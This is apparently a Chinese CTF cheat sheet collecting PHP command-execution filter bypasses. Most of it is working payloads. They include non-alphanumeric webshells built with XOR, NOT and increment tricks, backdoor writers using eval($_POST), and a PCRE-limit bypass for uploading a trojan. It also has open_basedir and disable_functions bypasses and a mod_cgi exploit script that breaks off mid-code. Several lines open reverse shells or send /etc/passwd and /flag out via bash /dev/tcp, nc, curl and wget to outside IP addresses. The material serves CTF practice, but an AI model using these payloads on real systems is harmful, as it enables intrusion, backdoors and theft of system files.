ctf-php中的RceBypass

命令执行

TODO:https://www.viewofthai.link/2022/12/18/php-rce-%e5%a7%bf%e5%8a%bf-%e6%80%bb%e7%bb%93/

基础知识

php命令执行函数

1
2
3
4
5
6
7
8
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号`` 同shell_exec()

管道符与元字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
CR:回车键<ennter>
=:设定变量
$:作变量或运算替换
>:重定向标准输入
<:重定向标准输出
[:alnum:] 任意数字或者字母
[:alpha:] 任意字母
[:space:] 空格
[:lower:] 小写字母
[:digit:] 任意数字
[:upper:] 任意大写字母
[:cntrl:] 控制符
[:graph:] 图形
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数
[:blank:] 空白字符

| :命令管道
& :重导向文件描述符,或将命令静默执行 #例如 java -jar test.jar&代表后台运行
|| :前面的命令执行错误就执行后面的语句,否则只执行前面的语句
&& :前面的命令执行正确就执行后面的语句,否则只执行前面的语句
; :忽略前一个命令的返回值,继续执行下一条指令

空格的替换

常规替换

1
2
3
4
5
6
7
8
<
<>
$IFS
${IFS}
$IFS$(1-9) #从19,可以进行fuzz
{cat,flag.txt} //花括号连接执行
%09
%20

$u的妙用

1
2
3
//$u在Linux中代表的是空字符串(未初始化变量),并不是代表是空格,我们可以将其随意插入到命令中,比如
c${u}at index$u.php$u
c`$u`at index$u.php$u

命令提示符$绕过

1
2
3
4
5
6
7
$*$@$x(x=1~9)、${x}(x>9)
在没有传参时,这些值都为空($0表示shell本身的文件名,不可用)
例如:
ca$*t flag
ca$@t flag
ca$7t flag
ca${18}t flag

通配符

1
2
3
4
5
6
7
8
9
10
11
12
13
?:匹配一个字符								#cat fl??

*:匹配一个或多个任意字符 #cat fl*

[list]:匹配list内的任意单个字符 #cat fl[a]g 例如[@-[]可以表示大写字母

[!list] or [ ^list]:匹配list外的任意单个字符 #cat fla[s]

{s1,s2,s3,...}:匹配s1,s2,s3或者其它更多字符 #cat fl{a,b}g


//用通配符匹配tmp目录下的临时session文件
file=/???/????????[@-[]

可插入字符

1
2
3
4
5
6
7
8
9
10
11
12
l<s
l<>s
ca""t
ca''t
ca``t
ca\t
a=c;b=at;$a$b xxx.php # 变量拼接
c${u}at # 因为c$uat 系统不知道你要执行的是$u还是$uat,因此加上界定符,命令成功运行
l`$u`s
wh$1oami
who$@ami
whoa$*mi

bash读取文件命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat flag				// 正序输出所有内容
tac flag // 从最后一行开始倒序输出所有内容
php flag // php读取
head flag // 读文件前若干行(需要加参数 -n)
tail flag // 读文件后若干行(需要加参数 -n)
more flag // 按页读文件
less flag // 好像和more差不多
nl flag // 读文件顺便显示行号
od flag // 一般用od -c flag
file -f flag // 利用file报错出flag
sort flag // 按首列ascii排序后输出
uniq flag // 删除重复出现的行列
paste flag // 合并文件的行列并输出
diff flag file // 对比flag和file的不同
bzmore flag // 将bzip压缩过的文件解压后输出
bzless flag // bzmore增强版
curl file:///flag // file协议读
sed -n '1,2p' flag // 1,2表示显示1~2行,可以不要
strings //字符串形式查看文件
grep //例如 grep test *php strings 表示查找并打印出以php为后缀的文件中包含字符串test的行

php文件读取函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
#这里做一个解释`file — 把整个文件读入一个数组中`
#通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()

一些payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}#一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}#一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
1
2
3
4
5
6
7
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`; 或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`; #转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||

Bypass技巧

1.bash进制转换、编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//16进制编码、解码
$ echo "cat flag"|xxd -p # encode
63617420666c61670a
$ echo "63617420666c61670a"|xxd -r -p # decode
cat flag

//8进制执行
$(printf "\154\163") #ls

//base64编码、解码
$ echo "cat flag" | base64 # encode
Y2F0IGZsYWcK
$ echo "Y2F0IGZsYWcK" | base64 -d # decode
cat flag

`echo 'Y2F0Cg==' | base64 -d` flag.txt # "Y2F0Cg==" 解码后是cat

如果加上直接执行的话就是

1
2
3
4
5
6
#16进制
echo <hexString>|xxd -r -p|bash
#base64
echo <base64String>|base64 -d|bash
#base64反弹shell: bash -i >& /dev/tcp/101.33.203.2/4444 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzMuMjAzLjIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

2.bash内联执行

将输出作为输入执行

1
2
3
4
5
//$() 代表执行括号中语句的执行结果,反引号类似。

$(echo 'cat flag')

`echo 'cat flag'`

3.bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
例如:

1
2
/bin/?at${IFS}f???????  #cat flag.php
/bin/base64

3.cp mv 改文件名

1
2
3
4
cp fla?.php 1.txt
mv fla?.php 1.txt
//另外使用php函数也可以改文件名
c=rename('flag.php','1.txt')

然后访问1.txt

4.文件包含二次传参

可以使用include、require来构造文件包含读文件。

%0a用于换行绕过,另外include可以不使用()使用?>闭合。

1
2
3
4
5
6
7
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php //伪协议读
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?> //写文件
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== //base64写文件
c=include$_GET[1]?>&1=data://text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?> //写后门

//require和include一样
c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

5.短标签

写shell bypass较常用。

1
2
//<?= ?> :短标签,相当于<?php ?> ,也可以写成<? ?> 例如:
<?echo%09`cat%09/flag`?>

6.无参函数绕过

https://www.cnblogs.com/pursue-security/p/15406272.html

https://blog.csdn.net/weixin_46330722/article/details/110840156

有时候会遇到如下类型的过滤:

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

意思就是传入的函数必须是无参执行的,像phpinfo()之类。

我们绕过的思路就是利用php的一些无参函数的返回值,一层层嵌套执行。

getallheaders() 、end()、implode()

注:此姿势仅限于apache可以使用。

getallheaders()顾名思义是获取所有请求头信息,并以数组形式返回。

end()是取数组中最后一个元素值。

impode是将数组元素连接成为一个字符串。

用这三个函数我们可以提取请求头参数值来命令执行

1
2
3
//请求头部最后添加 spring : phpinfo();//
code=eval(end(getallheaders()))
code=eval(implode(getallheaders()))

get_defined_vars() 、current()、end()

这种方式就更通用一些。

get_defined_vars():获取四个超全局变量GET 、POST、FILES、COOKIE,并以二维数组的形式返回。

current():可以将二位数组转换成一维数组并返回数组中的当前单元;默认是GET中的第一个。

我们可以使用end(current(get_defined_vars()))获取传递的最后一个GET参数值,然后eval执行

1
2
code=eval(end(current(get_defined_vars())))&spring=phpinfo();
//spring的值被前面获取到并执行

session_id()

session_id()函数用于返回当前会话PHPSESSID的值,当然需要先执行session_start()来开启session。

然后我们在PHPSESSID中写入恶意代码就可以被获取到并执行。

但要注意PHPSESSID只允许[A-Za-z0-9],因此我们还要将恶意代码转换成16进制再用hex2bin解码。

1
2
赋值PHPSESSID=706870696e666f28293b  #phpinfo();
code=eval(hex2bin(session_id(session_start())))

PHP函数直接读文件

以一道题目为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

根据过滤来看前面三种都不能用了,因此要换个思路。

localeconv():返回一个包含本地数字及货币格式信息的数组,重点在于返回数组第一个元素是 . ,因此我们用current取出.来读取当前目录。

scandir():列出目录中的文件和目录

pos():和current()一样输出数组中当前元素的值。

关于数组操作还有一些函数:

  • end() - 将数组的内部指针指向最后一个单元
  • key() - 从关联数组中取得键名
  • each() - 返回数组中当前的键/值对并将数组指针向前移动一步
  • prev() - 将数组的内部指针倒回一位
  • reset() - 将数组的内部指针指向第一个单元
  • next() - 将数组中的内部指针向前移动一位

chdir():用于跳出目录,比如进入上一层目录就需要chdir(“..”)

array_reverse():翻转数组,有时候需要的元素太靠后可以用它。

我们据此构造出payload:

1
2
3
exp=print_r(scandir(current(localeconv()))) //打印当前目录下的文件
exp=print_r(next(array_reverse(scandir(current(localeconv()))))) //获取倒数第二个文件名
exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))) //读取文件内容

7.无字母无数字

异或

以下面这段代码为例:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])) {
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\`|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)) {
eval("echo($c);");
}
} else {
highlight_file(__FILE__);
}
?>

过滤了绝大多数字符,但我们可以使用没有被过滤的字符两两异或来获取被过滤的字符。贴个羽师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
//异
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."
";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

//或
<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."
";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

然后再将需要的命令拼接出来即可。

例如:

1
2
3
4
shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

执行env命令打印环境变量就有flag。

取反

和异或原理差不多,利用两个字符取反来获取想要的字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

如果想使用call_user_func的话可以使用下面这段取反:

1
2
3
4
5
6
<?php
$a=urlencode(~('call_user_func'));
$b=urlencode(~('system'));
$c=urlencode(~('whoami'));
echo('(~'.$a.')(~'.$b.',~'.$c.',\'\')');
?>

一些常用的取反payload:

1
2
3
4
5
6
7
8
//写马
//file_put_contents('4.php','<?php eval(\$_POST[1]);');
(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));

//命令执行
//(call_user_func)(system,whoami,'')
(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');

自增(有限制)

注意是php5环境。

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

来自p牛的经典bypas,使用[]数组获取array中的第一个字符 ‘a’ ,然后通过自增去获取其它字符最终构造出webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

连接起来就是

1
2
3
4
shell=$_=[];$_=@"$_";$_=$_['!'=='@'];$_=$_[0];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

//urlencode
shell=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

但是这种方式得到的payload过长,万一有长度限制就无法bypass;另外assert函数在php5中可以作为动态函数名来执行代码,类似于

1
2
3
$a='assert';
$b='phpinfo();';
$a($b)

但在php7中,assert不再作为函数使用,而是变成了语言结构(类似eval),所以这种自增payload在php7也会失效。但我们依然可以采用上面提到的取反的方式进行函数动态调用。

其它

不包含字母与数字的webshell

1
2
3
4
5
//webshell
@$_%2b%2b;$__='#./|{'^'|~`//';${$__}[!$_](${$__}[$_]);

//post
0=assert&1=phpinfo();

8.linux内置变量

使用环境内置变量我们可以获取需要的字符。

首先介绍几个linux内置变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$PATH	环境变量,可执行文件的搜索路径

$PWD 当前所在目录,比如在ctf环境中是/var/www/html

${#<var>} 计算变量var的长度

$RANDOM 产生0 - 32767之间的随机数

例如:echo $\{\#RANDOM\} 表示随机整数的位数也就是1-5之间任意一个数。

$SHLVL 记录多个 Bash 进程实例嵌套深度的累加器 其**默认初始值为1**

$USER 获取当前用户名例如:www-data

$PHP_VERSION 获取当前php版本例如:echo $\{PHP_VERSION\}

$HOME 用户的home目录,一般是/home/username

$HOSTNAME 主机名称

然后是一些字符截取操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//linux中可以用`~`获取变量的最后几位

echo ${PWD:~0} //截取前目录的最后一个字符

//同时可以用`::`获取变量的前几位

echo ${PWD::0} //截取当前目录的第一个字符也就是 /

//用`${#变量}`显示变量的长度

echo ${#IFS} //3
echo ${#} //0
echo ${#?} //1

注意一个特殊情况:`${#?}==1`因此我们可以使用${#?}来代替$SHLVL产生1

$? 的奇妙用法:

$?表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

为什么有 <A<A返回的错误值 使得$?为1

一些常用的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
# nl flag.php
${PATH:~A}${PWD:~A} ????.???

#/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
#或
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

#/bin/base64 flag.php 由于RANDOM所以需要多尝试几次
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
#或
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

9.超过PRCE回溯限制绕正则

参考p牛文章https://www.freebuf.com/articles/web/190794.html

写文件,但文件中不允许输入任何php代码。

1
2
3
4
5
6
7
8
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
// fwrite($f, $input); ...
}

利用正则表达式prce最大次数默认为1000000:

1
pcre.backtrack_limit默认为1000000

发送超过1000000字符大小的数据来使正则执行失败写入木马。

1
2
3
4
5
6
7
8
9
10
#poc
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://IP/index.php', files=files, allow_redirects=False)
print(res.headers)

10.无回显命令执行

无回显命令执行可以考虑反弹shell或者数据外带。

反弹shell

不多说,直接弹就行

1
sh -i >& /dev/tcp/180.76.162.68/8081 0>&1

数据外带

https://blog.csdn.net/weixin_35910073/article/details/112458456

nc
1
2
3
4
//目标机执行
nc –l –p 1234 < /etc/passwd #将/etc/passwd映射到1234端口
//本机执行
nc IP:1234 #监听目标机1234端口接收数据
curl
1
2
3
4
//目标机执行
curl http://180.76.162.68:8888 -File=@/flag
//本机监听
nc -lvnp 8888
wget

由于wget可以指定headers,body等,因此我们将敏感数据放到请求包中里去外带数据

1
2
3
4
5
6
7
8
9
//目标机执行
wget –header="EVIL:$(cat /flag)" http://180.76.162.68:5555
wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://180.76.162.68:5555 #多行读取
wget –post-data exfil=`cat /etc/passwd`&b=1 http://180.76.162.68:5555 #body传递
wget –post-file trophy.php http://180.76.162.68:5555 #直接传递file


//本机监听
nc -lvnp 5555

命令盲注

如果上述命令都不能用那么就考虑命令盲注,采用延时注入的方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import time

s=requests.session()
flag=''
for z in range(1,50):
for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!@#%|^&{}[]/-()+=,\\':
starTime=time.time()
url="http://127.0.0.1/?cmd=if [ `cut -c"+str(z)+"-"+str(z)+" /flag` != '"+i+"' ]; then echo 1 ; else sleep 3; fi"
r=s.get(url)
if((time.time()-starTime)>3):
flag+=i
print(flag)
break
print(z)
print('the flag is'+flag)

php安全特性bypass

bypass open_basedir

https://www.cnblogs.com/hookjoy/p/12846164.html

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。下面给出几种bypass技巧。

1
2
symlink ( string $target , string $link ) : bool
//用于创建一个指向taget的软链接link,target必须在open_basedir的范围内。

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//bypass.php
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7ea");
symlink("7ea/../../../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");
?>

访问bypass.php后就为passwd文件创建软链接exp,再访问exp即可读取任意文件。

利用glob://伪协议读根目录

1.DirectoryIterator+glob://

1
2
3
4
5
6
7
8
<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
//传入 glob:///* 输出根目录下所有文件。

2.opendir()+readdir()+glob://

1
2
3
4
5
6
7
8
9
10
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>
//传glob:///*

利用chdir()与ini_set()组合

1
mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

利用bindtextdomain()函数报错判断文件存在

1
2
bindtextdomain ( string $domain , string $directory ) : string
//用于绑定domain到某个目录

只能判断文件是否存在,不存在返回false,利用价值不是很大。

1
2
3
4
5
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

利用realpath() ->适用于windows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'E:/wamp64/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>

bypass disable_functions

适用于拿到shell禁用了危险函数的情况。

https://www.anquanke.com/post/id/208451?from=timeline

补充

最新的两种bypassphp-concat-bypassphp-filter-bypass

GitHub - mm0r1/exploits: Pwn stuff.

LD_PRELOAD

利用mail()等函数开启新进程加载恶意so,已总结不再赘述。

Apache Mod CGI

本质上是利用·.htaccess,需要满足如下条件:

  • 目录下有写权限
  • apache 使用 apache_mod_php
  • Web 目录给了 AllowOverride 权限
  • 启用了mod_cgi
1
2
3
4
5
6
7
#上传.htaccess
Options +ExecCGI
AddHandler cgi-script .test

#上传shell.test
#!/bin/bash
echo&&cat /etc/passwd

然后访问shell.test即可触发。

或者若允许上传php脚本可以直接执行php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$cmd = "nc -c '/bin/bash' xxx.xx.xx.xx 4444"; //command to be executed
$shellfile = "#!/bin/bashn"; //using a shellscript
$shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
